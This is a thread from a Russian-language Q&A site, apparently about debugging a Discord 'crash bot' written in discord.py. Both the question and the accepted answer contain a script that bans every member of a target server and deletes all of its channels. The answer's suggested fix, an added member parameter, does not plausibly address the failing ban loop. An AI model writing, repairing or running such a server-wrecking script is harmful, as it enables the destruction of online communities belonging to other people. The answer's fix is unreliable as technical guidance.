jijhub
@jijhub
Разработчик игр, ботов, приложений

Пишу собственного краш-бота на discord.py (не спрашивайте зачем). Функция удаления каналов работает, а бана всех нет. Почему?

import discord
from discord.ext import commands
import asyncio


Bot = commands.Bot(command_prefix='!') 
token = 'токен'
crush_id = айди

@Bot.command()
async def test(ctx):
    guild = Bot.get_guild(crush_id)
    channels = guild.channels
    members = guild.members
    roles = guild.roles  

    for i in members: 
            await asyncio.sleep(0.1)
            try:
                await i.ban()
            except:
                pass

    for i in channels:  
        await asyncio.sleep(0.1)
        try:
            await i.delete()
        except:
            pass
            


Bot.run(token)
  • Вопрос задан
  • 1240 просмотров
Решения вопроса 1
@NeZuSS
У меня один вопрос каким образом ты хотел получить Member если у тебя он async def test(ctx): тут не вписан
Попробуй заменить на это async def test(ctx, member: discord.Member):
и вот здесь много таба
for i in members:
await asyncio.sleep(0.1)
try:
await i.ban()
except:
pass
замени команду на вот это

@Bot.command()
async def test(ctx, member: discord.Member):
    guild = Bot.get_guild(crush_id)
    channels = guild.channels
    members = guild.members
    roles = guild.roles  

    for i in members: 
        await asyncio.sleep(0.1)
        try:
            await i.ban()
        except:
            pass

    for i in channels:  
        await asyncio.sleep(0.1)
        try:
            await i.delete()
        except:
            pass


если помог то это мой первый ответ)
Ответ написан
Комментировать
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы